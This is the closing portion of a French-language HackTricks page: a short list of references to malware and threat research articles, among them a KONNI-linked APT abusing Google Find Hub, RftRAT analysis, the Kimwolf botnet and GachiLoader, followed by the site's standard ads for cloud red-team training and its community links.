- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion â genians.co.kr
- Android Find My Device (Find Hub) â google.com/android/find
- RftRAT/RFTServer technical analysis â asec.ahnlab.com
- HMAC background â wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations â blog.xlab.qianxin.com
- Check Point Research â GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer â GitHub
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


